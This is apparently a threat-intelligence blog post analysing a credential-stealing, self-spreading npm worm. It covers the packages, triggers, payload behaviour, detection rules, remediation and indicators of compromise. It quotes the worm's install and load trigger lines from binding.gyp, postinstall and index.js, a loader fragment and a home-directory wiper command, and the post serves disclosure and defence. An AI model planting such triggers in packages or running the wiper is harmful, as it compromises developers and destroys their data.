---
title: "testmetest npm Packages Carry a Miasma-Family Worm"
description: "19 npm packages carry a Miasma-family worm that steals credentials, spreads to other packages and installs a wiper. The newest builds start the worm when an application loads the package."
url: "https://safedep.io/blog/testmetest-npm-worm-miasma-variant"
author: "Kunal Singh"
published: "2026-10-22"
updated: "2026-10-27"
---

# testmetest npm Packages Carry a Miasma-Family Worm

> **IMPORTANT:** **Update, 27 October 2026.** A fourth account, `testsecuiitytestme`, published
> `@testsecuiitytestme/cache-helper` versions `1.0.1` to `1.0.3` with the same worm. The addon now starts the worm when
> an application imports the package, so `--ignore-scripts` does not protect you. See
> [The load-time addon trigger](#the-load-time-addon-trigger).

> **NOTE:** **Update, 26 October 2026.** The operator moved to a third npm account, `iobandamwer`, and changed the install
> trigger. A `postinstall` script now loads a native Node.js addon that decrypts and starts the same worm. Detection
> rules that look only for `binding.gyp` miss these builds. The [How it runs](#how-it-runs) and [Detection](#detection)
> sections cover both triggers.

An operator is testing a Miasma-family npm worm in public. Between 19 and 27 October 2026, npm
received 19 packages from the same operator. The accounts `alexjoipamiba`, `testnewtestme`,
`iobandamwer` and `testsecuiitytestme` published eight of them.
The malicious versions steal credentials, spread to other packages and repositories, and install a wiper
that deletes the home directory when the victim revokes the stolen GitHub token.

The worm shares code with [Miasma "Phantom Gyp"](https://safedep.io/blog/miasma-worm-hits-leoplatform-20-npm-packages) from
June 2026 and adds the token-revocation wiper from Mini Shai-Hulud. SafeDep has not confirmed its
exact lineage. The infrastructure, loader layout and strings differ from Miasma, which defeats
published Miasma signatures for loader size, file hashes and marker strings. As of 22 October 2026,
SafeDep has found no compromised third-party packages or victims. All observed activity belongs to
the operator's own test accounts.

## The packages

Every package has a `0.0.0-stage` version. npm staged publishing creates this placeholder, and
legitimate packages carry the same stub, including its "Temporary Holding Version"
README. The stub is not an indicator by itself. After the stub, the operator usually publishes a
harmless `1.0.0` decoy, then a malicious patch version such as `0.0.1` that becomes `latest`.

The malicious versions of `path-stream-utils-testmetest` and `@iobandamwer/native-helper` keep the
stub `package.json` fields and README. They add only a `postinstall` script, a one-line `index.js`
and the binary files, so the registry page still shows an empty placeholder package.

npm replaced the three `iobandamwer` packages with `0.0.1-security` placeholders on 26 October.
Less than 20 hours later, the operator published `@testsecuiitytestme/cache-helper` from a new
account.

As of 27 October 2026, `@testsecuiitytestme/cache-helper` is live, and `1.0.3` is `latest`. All 18
earlier packages are gone. Eleven left the registry on 21 October and two on 22 October. npm
replaced the other five with `0.0.1-security` placeholders. The table lists every known version.

[testmetest-npm-worm-packages.csv](https://safedep.io/data/blogs/testmetest-npm-worm-packages.csv)

The operator also runs test repositories on GitHub under `CementBeetleSteeple`, and most already
contain the worm's files. Do not clone or open them. The commits from `CementBeetleSteeple` use the
same email address as the npm account `testnewtestme`.

The `iobandamwer` account belongs to the same operator. The first malicious build,
`@iobandamwer/cache-helper@1.0.2`, downloads its loader from the repository
`CementBeetleSteeple/node-cache-utils`. `CementBeetleSteeple` created that repository at 18:21:41 UTC on
24 October, 10 seconds before npm received the first version of `@iobandamwer/cache-helper`.

The `testsecuiitytestme` account (`bahbahnabgda@atomicmail.io`) belongs to the same operator. Its
addons and decoded payload match the `iobandamwer` builds.

Related activity goes back to September. The GitHub account `Meteordrewarm`, registered 11 seconds
before `CementBeetleSteeple`, ran the first exfiltration test on 19 September from
`root@vultr.guest`. npm removed an earlier package from the same cluster, `testmgkregme`, on 12
October.

## How it runs

The worm has used three triggers. The first two run during `npm install`. The third also runs
when an application loads the package.

### The binding.gyp trigger

The packages from `alexjoipamiba` and `testnewtestme` have no install scripts. npm runs
`node-gyp rebuild` for any package that contains `binding.gyp`, and the `sources` field runs the
loader:

```json
// binding.gyp @ event-bus-lite-testmetest@0.0.1
"sources": ["<!(node index.js 1>/dev/null 2>/dev/null; echo stub.c)"]
```

`index.js` (14.8 KB) decrypts a Bun bootstrap and `lib_native.dat` (320 KB). The bootstrap finds
or downloads Bun. The loader writes the decrypted payload to `/tmp/.b-*/index.js`, runs it with
`bun run`, and deletes it.

### The native addon trigger

The `iobandamwer` packages use a `postinstall` script that loads a native addon:

```json
// package.json @ path-stream-utils-testmetest@0.0.2
"postinstall": "node -e \"try{require(process.platform==='win32'?'./addon_win.node':'./addon.node').init()}catch(e){}\""
```

`addon.node` is a 17 KB Linux x64 library and `addon_win.node` is a 713 KB Windows DLL. The Linux
addon reads CI variables, container markers in `/proc/1/cgroup`, memory and CPU counts, and the
`TracerPid` field. SafeDep infers that these checks gate execution in sandboxes, but did not trace
every branch. The addon then reads `.napi_cache`, decodes it with the single-byte XOR key `0x96`,
forks into a new session, writes the result to `/tmp/.<pid>` and runs it with `node`.

The decoded `.napi_cache` begins with the same character-code loader as the `binding.gyp` builds.
In `path-stream-utils-testmetest@0.0.2` and `@iobandamwer/cache-helper@1.0.8`, it holds the main
payload as a plain Bun bundle instead.

The version history of `@iobandamwer/cache-helper` shows the trigger under development. Version
`1.0.2` downloads its loader from GitHub. Version `1.0.3` calls `eth_getStorageAt` on public
Ethereum RPC endpoints and carries a list of IPFS gateways. SafeDep infers that it reads a payload
location from contract storage. The contract address in its configuration is the zero address, so
that build could not fetch anything. Version `1.0.4` and later carry the payload in the package.

### The load-time addon trigger

`@testsecuiitytestme/cache-helper` keeps the addon, `.napi_cache` and the XOR key `0x96`. The
addon now runs its dropper from `napi_register_module_v1`, which Node.js calls when it loads the
addon. The `iobandamwer` builds waited for an `init()` call. The package entry point loads the
addon:

```js
// index.js @ @testsecuiitytestme/cache-helper@1.0.3
module.exports = require('node-gyp-build')(__dirname)
```

Any application that imports the package starts the worm. `npm install --ignore-scripts` does
not stop it.

Versions `1.0.2` and `1.0.3` use the standard prebuilt layout, `prebuilds/<platform>/node.napi.node`,
with `"postinstall": "node-gyp-build"`. This script loads the addon to test it, so the worm also
starts at install time. The addon builds the XOR key from four bytes, so a byte search for `0x96`
does not find it.

The decoded `.napi_cache` holds a new loader that replaces the character-code loader. It exits in
CI, decodes the payload with a 32-byte XOR key and Brotli, and runs it with Bun.

## What the payload does

The decoded payload from both install triggers contains the same command string, endpoint,
persistence scripts and string cipher. The embedded `sync.py` in `path-stream-utils-testmetest@0.0.2` has the
same SHA-256 as the one in `event-bus-lite-testmetest@0.0.1`.

The `testsecuiitytestme` builds carry the same payload, including `msync-3f7a`, `aiarmor.website`
and the wiper command.

- **Evasion**
  - Exits on Russian and other Commonwealth of Independent States (CIS) locales, and on known
    analysis sandboxes.
  - In GitHub Actions, kills StepSecurity Harden-Runner through `docker.sock` and points
    `*.stepsecurity.io` to localhost. Exits if this fails.
- **Credential theft**
  - SSH keys, npm, PyPI and Git credentials, `.env` files, browser logins.
  - AI tool credentials for Claude, Codex, Gemini and Copilot.
  - AWS, GCP, Azure, Vault and Kubernetes secrets.
  - GitHub Actions secrets from `Runner.Worker` process memory.
- **Exfiltration**
  - Commits encrypted data to a new public repository on the victim's GitHub account, named like
    `smart-workers-48213` with the description `project-utils`.
  - The commit message starts with `AutoSyncComplete:` and carries the victim's GitHub token,
    encrypted with a hardcoded key. Other infections search for these commits to reuse the tokens.
  - Fallback endpoint: `hxxps://aiarmor[.]website/v1/api`.
  - Injects a GitLab CI job named `cache_sync`. It sends the CI environment to a `/collect`
    endpoint and requests npm and PyPI OpenID Connect (OIDC) tokens.
- **Propagation**
  - Adds the loader to the victim's npm packages and publishes a new patch version. The newer build
    writes `addon.node`, `addon_win.node`, `.napi_cache` and the `postinstall` script.
  - The newest builds use the `prebuilds/` layout and name macOS targets. No package ships a macOS
    addon yet.
  - Republishes to PyPI, RubyGems and JFrog.
  - Commits a fake CodeQL workflow and AI agent files (`.claude/settings.json`, `.cursor/mcp.json`,
    `CLAUDE.md`, `AGENTS.md`, `.vscode/tasks.json`), the loader `.github/init.js` and a Windows
    loader `.github/init.ps1` to GitHub and GitLab repositories. Injected commits copy the author and
    message of the most recent real commit on the branch, with `github-actions` as a fallback.
  - Copies itself over SSH to the hosts in each user's `known_hosts` file.
- **Persistence**
  - `net-health-checker` checks the stolen GitHub token every 45 seconds for 48 hours. On 401 or
    403 it runs `rm -rf ~/; rm -rf ~/Documents`.
  - `pkg-runtime` runs `sync.py`. Every hour it searches GitHub commits for `msync-3f7a`, then
    downloads and runs a Python script from a URL that the attacker's RSA key signed.

## What changed from Miasma

| Feature         | Miasma (June 2026)        | `testmetest`                                   |
| --------------- | ------------------------- | ---------------------------------------------- |
| Trigger         | `binding.gyp`             | `binding.gyp`, then `postinstall` native addon, then addon load |
| Loader          | Root `index.js` over 4 MB | 14.8 KB, payload in `lib_native.dat`           |
| Command channel | Fixed commit search       | `msync-3f7a` with signed commands              |
| Exfiltration    | GitHub only               | GitHub and `aiarmor[.]website`                 |
| Wiper           | Message only              | Real deletion                                  |

SafeDep does not attribute this variant to the original Miasma operators. The Shai-Hulud source has
been public since May 2026, so other groups can build on it.

## Detection

- A `binding.gyp` target whose `sources` contains `<!(node` and hides output, in a package without
  C or C++ sources.
- A `postinstall` script that calls `require()` on a `.node` file and discards errors, in a package
  with no build configuration or native source. Combine this with a large high-entropy file such as
  `.napi_cache` next to the addon.
- Prebuilt addons in `prebuilds/<platform>/` with no native source, next to a large high-entropy
  file. This rule does not depend on install scripts.
- A native addon that contains `%s/.napi_cache` and `/tmp/.%u` (Linux), or `%s\.napi_cache` and
  `%s.nc%lu.js` (Windows).
- A high-entropy `.dat` or `.bin` file next to a small `index.js` with a large character-code array
  and `eval`.
- A package that keeps `"stub": true` and the staged publishing description in a version other than
  `0.0.0-stage`.
- Supporting signals, combined with the rules above: a `bun` dependency in `package.json`, or a
  `0.0.x` `latest` version published after `1.0.0`.
- The `binding.gyp` and `iobandamwer` builds use the same loader template. In the native addon
  builds, it appears only after XOR decoding with `0x96`:
  `(function(){var _r=0,_s=1,_t=2;try{eval((function(d,k){return d.replace(/[a-zA-Z]/g,`
- The `testsecuiitytestme` builds use a different loader after XOR decoding with `0x96`. Look for
  `_zl['brotliDecompress'+'Sync'](_x)` and `bun-v1.2.18` together in one file.
- After decoding: `globalThis.getBunPath`, `msync-3f7a`, `aiarmor.website`, `net-health-checker`.

Apply the trigger rules to every package. A real attack will come through compromised
maintainer accounts with normal package names.

## Remediation

1. Disconnect the host from the network.
2. Remove persistence first. On Linux:

   ```bash
   systemctl --user disable --now net-health-checker pkg-runtime
   rm -rf ~/.local/bin/net-health-checker.sh ~/.config/net-health-checker \
          ~/.config/systemd/user/{net-health-checker,pkg-runtime}.service \
          ~/.local/share/runtimes /var/tmp/.fontconfig_state
   ```

   On macOS:

   ```bash
   launchctl bootout gui/$(id -u) ~/Library/LaunchAgents/com.user.{net-health-checker,pkg-runtime}.plist
   ```

   Then delete those two `.plist` files.

3. Rotate all credentials: Git hosts, package registries, cloud, Vault, Kubernetes, SSH and AI
   providers.
4. Check your accounts for new `project-utils` repositories, unexpected patch releases, and
   commits that add `.claude/`, `.cursor/`, `.gemini/`, `.vscode/tasks.json`, `.github/init.js`,
   `CLAUDE.md` or `AGENTS.md`, and for commits whose message starts with `AutoSyncComplete:`.
   The agent files infect the host again. Check your npm packages for unexpected `addon.node`,
   `addon_win.node`, `prebuilds/*/node.napi.node` or `.napi_cache` files.
5. Reinstall the operating system on the host.

## Indicators of compromise

See [the packages](#the-packages) for the full list of package versions.

| Type              | Value                                                                                                                       |
| ----------------- | --------------------------------------------------------------------------------------------------------------------------- |
| npm account       | `alexjoipamiba`, `testnewtestme`, `iobandamwer`, `testsecuiitytestme` (`bahbahnabgda@atomicmail.io`) |
| GitHub account    | `CementBeetleSteeple` (ID 295109074, same commit email as `testnewtestme`), `Meteordrewarm` (ID 295109040)                  |
| GitHub repository | `CementBeetleSteeple/node-cache-utils`, `CementBeetleSteeple/stable-scripts-9965`                                           |
| Repository file   | `AGENTS.md`, `.github/init.ps1`, `.github/init.js`, `.claude/index.js`                                                      |
| Package file      | `addon.node`, `addon_win.node`, `.napi_cache`, `prebuilds/*/node.napi.node` |
| Dropped file      | `/tmp/.<pid>`, `%TEMP%\.nc<number>.js`, `.<pid>_<random>.js` in the temporary directory |
| npm package       | `testmgkregme`                                                                                                              |
| Branch            | `chore/ci-<8 hex>`                                                                                                          |
| Commit suffix     | `skip-checks:true`                                                                                                          |
| Domain            | `aiarmor[.]website`                                                                                                         |
| C2 string         | `msync-3f7a`                                                                                                                |
| Commit prefix     | `AutoSyncComplete:`                                                                                                         |
| Service           | `net-health-checker`, `pkg-runtime`                                                                                         |
| Tarball SHA-1     | `7c772b53c3fc70eeddaf0a8edad33abf23cddbe6` (`event-bus-lite-testmetest@0.0.1`)                                              |
| SHA-256           | `837904152e824645cb7d2d58a4a5e0aaa22d5e82a5d6eafe08b9c2b8b1bf4de6` (`binding.gyp`)                                          |
| SHA-256           | `0b0e02b03ea3a2f8e8657143706e327a0b3608acbc1c43ec02ebc072dbe76944` (`index.js`)                                             |
| SHA-256           | `fc8e014b1c6940435880346fe3e84b20f2cbd9e65ed662283347a306929b8381` (`lib_native.dat`)                                       |
| SHA-256           | `c7ef186aa59b67d9b198a14f6dc8aaee6dd86510ac7c37d28f65d310cd846411` (`sync.py`)                                              |
| SHA-256           | `7625f77a61433b3a8e9b41952b7dca102d1d08eab30266fd6c6aa0b0c2ea15b1` (`addon.node`, `path-stream-utils-testmetest@0.0.2`)     |
| SHA-256           | `1685824218a45e9308e3ced9f4a1cee3fe51e516dab2bd058fc1f9de31f559c9` (`addon_win.node`, `path-stream-utils-testmetest@0.0.2`) |
| SHA-256           | `b3f74e4b03b58eeb31ff9ecc663a118ca37695f078eb4d3cae311ddc56a55d28` (`.napi_cache`, `path-stream-utils-testmetest@0.0.2`)    |
| SHA-256           | `67967033b1dd1e5b845c0959291df533d1102d0191885e7cb9b18d46f7744bbd` (`.napi_cache`, `path-stream-utils-testmetest@0.0.1`)    |
| SHA-256           | `1fdd50b1bf66c4fd0e94f2be3db1f2f0fd77921136867022ad7e65e21220ad03` (`prebuilds/linux-x64/node.napi.node`, `@testsecuiitytestme/cache-helper@1.0.3`) |
| SHA-256           | `5b7a0f53f2eca2dd4bf21e6df7d34e751b6cdf70b2f0a6f1f13edfb5caa9570b` (`prebuilds/win32-x64/node.napi.node`, `@testsecuiitytestme/cache-helper@1.0.3`) |
| SHA-256           | `c14dae9325f451c524cf858ecdae5fa68d2c645ee0981c6f42ef913c7ef34a57` (`.napi_cache`, `@testsecuiitytestme/cache-helper@1.0.3`) |

Each build uses new keys, so payload hashes change in every version. Every `iobandamwer` build
also has a different `addon.node` hash. SafeDep decoded `event-bus-lite-testmetest@0.0.1`, the
`iobandamwer` builds and the `testsecuiitytestme` builds using static analysis only.
